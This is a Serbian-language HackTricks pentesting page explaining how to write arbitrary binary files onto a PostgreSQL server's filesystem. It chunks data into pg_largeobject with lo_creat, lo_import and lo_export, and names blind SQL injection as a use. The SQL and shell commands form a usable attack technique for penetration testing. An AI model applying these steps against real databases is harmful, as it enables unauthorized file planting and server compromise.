Big Binary Files Upload (PostgreSQL)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PostgreSQL veliki objekti

PostgreSQL nudi strukturu poznatu kao veliki objekti, pristupačnu putem tabele pg_largeobject, dizajniranu za skladištenje velikih tipova podataka, kao što su slike ili PDF dokumenti. Ovaj pristup je povoljniji od funkcije COPY TO jer omogućava izvoz podataka nazad na fajl sistem, čime se obezbeđuje tačna replika originalnog fajla.

Za skladištenje kompletnog fajla unutar ove tabele, mora se kreirati objekat u tabeli pg_largeobject (identifikovan sa LOID-om), a zatim se vrši umetanje podataka u ove objekte u obliku delova, pri čemu svaki deo ima veličinu od 2KB. Veoma je važno da ovi delovi budu tačno 2KB veličine (uz mogući izuzetak poslednjeg dela) kako bi funkcija izvoza ispravno radila.

Da biste podelili vaše binarne podatke na delove od 2KB, mogu se izvršiti sledeće komande:

split -b 2048 your_file # Creates 2KB sized files

Za enkodiranje svake datoteke u Base64 ili Hex format, mogu se koristiti sledeće komande:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Važno: Prilikom automatizacije ovog procesa, obezbedite slanje delova od 2KB čistog teksta u bajtovima. Kod heksadecimalno kodiranih fajlova će biti potrebno 4KB podataka po delu zbog udvostručenja veličine, dok kod Base64 kodiranih fajlova važi formula ceil(n / 3) * 4.

Sadržaj velikih objekata može se pregledati u svrhe otklanjanja grešaka koristeći:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Korišćenje lo_creat & Base64

Da biste sačuvali binarne podatke, prvo se kreira LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

U situacijama koje zahtevaju preciznu kontrolu, kao što je iskorišćavanje Slepe SQL Injection, lo_create se preferira za specificiranje fiksnog LOID-a.

Podaci se mogu zatim ubaciti na sledeći način:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Da biste izvezli i potencijalno obrisali veliki objekat nakon upotrebe:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Korišćenje lo_import & Hex

Funkcija lo_import može se koristiti za kreiranje i specificiranje LOID-a za veliki objekat:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Nakon kreiranja objekta, podaci se ubacuju po stranici, pri čemu se svaki deo ne sme prelaziti 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Da biste završili proces, podaci se izvoze i veliki objekat se briše:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Ograničenja

Primećeno je da veliki objekti mogu imati ACL-ove (Access Control List), što potencijalno ograničava pristup čak i objektima koje je kreirao vaš korisnik. Međutim, stariji objekti sa dozvoljenim ACL-ovima i dalje mogu biti dostupni za izvlačenje sadržaja.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks:

Last updated